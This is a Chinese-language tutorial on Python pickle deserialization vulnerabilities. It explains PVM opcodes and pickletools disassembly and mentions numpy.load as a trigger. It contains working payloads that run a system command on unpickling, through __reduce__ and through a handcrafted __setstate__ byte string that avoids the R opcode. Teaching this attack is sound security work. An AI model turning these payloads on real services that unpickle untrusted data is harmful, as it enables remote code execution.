python反序列化漏洞
1.使用pickle库对对象进行序列化和反序列化操作
json反序列化
import json
dict={"admin":"123"}
json_info = json.dumps(dict)
print(str(type(json_info))+json_info)
dict1=json.loads(json_info)
print(str(type(dict1)))
print(dict)
pickle反序列化
import pickle
class Test:
name="admin"
passwd="123"
test=Test()
print(pickle.dumps(test))
#b'\x80\x03c__main__\nTest\nq\x00)\x81q\x01.'
byte = b'\x80\x03c__main__\nTest\nq\x00)\x81q\x01.'
print(pickle.loads(byte))
运行上面的代码可以发现,json是将字典对象转化为字符串,pickle序列化则是将对象转化为字节流形式,而我们之前使用的php则是将对象转化为字符串。同时,json是不能操作字典以外的其他对象的。
2.魔术方法
详见https://docs.python.org/zh-cn/3/library/pickle.html
我们通常使用的__reduce__方法是高级接口,使用更低级的接口也可以实现命令执行
import os, pickle
class Test(object):
def __reduce__(self):
return (os.system,('ipconfig',))
print(pickle.dumps(Test(), protocol=0))
print(pickle.loads(b'cnt\nsystem\np0\n(Vipconfig\np1\ntp2\nRp3\n.'))
也就是说,只要pickle.loads的变量可控,就有反序列化漏洞
同时,如果我们更换魔术方法名称为setstate或getstate等,都可以产生相同的效果
3.PVM
程序被编译成字节码之后,就会被加载到通常被称为虚拟机的一个东西上(Virtual Machine)来执行,Python的虚拟机称为PVM(Python Virtual Machine).事实上,PVM就是迭代运行(类似for循环)字节码指令,然后操作系统会去执行这些命令.PVM是Python的运行引擎,它时常表现为Python系统的一部分,并且它是实际运行脚本的组件.
PVM 由三部分组成:
-
指令处理器
从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到
.
这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。
-
stack
由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
-
memo
由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储
4.pickletools
可以通过pickletools对序列化生成的字节码进行反汇编操作,反汇编的结果就是PVM上的字节码指令
有关pickletools:https://docs.python.org/zh-cn/3/library/pickletools.html
这就是以上代码反汇编的结果
以下分析指令执行过程
字符串的第一个字节是\x80
(这个操作符于版本2被加入)。机器看到这个操作符,立刻再去字符串读取一个字节,得到x03
。解释为“这是一个依据3号协议序列化的字符串”,这个操作结束。
机器取出下一个字符作为操作符C。这个操作符(称为GLOBAL操作符),它连续读取两个字符串,规定以\n
为分割,并将这些字符串依次进栈,这里取的是nt和system。
接下来,会遇到p指令,将栈顶存储在备忘录中;索引是字符串arg,同时遇到0指令,进行出栈操作
由于,这里需要传参,所以会有R指令,在堆栈上对argtuple应用可调用
接下来就结束这个字节码
5.不使用reduce进行rce
import os, pickle,pickletools
class Student():
def __init__(self):
self.name='123'
self.grade='123'
pickletools.dis(b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVipconfig\nb.')
pickle.loads(b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVipconfig\nb.')
成功执行了命令,同时字节流中没有R指令码了
6.numpy.load触发反序列化漏洞
例如:numpy.load()
先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()
也可以触发pickle反序列化漏洞
格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()
也可以触发pickle反序列化漏洞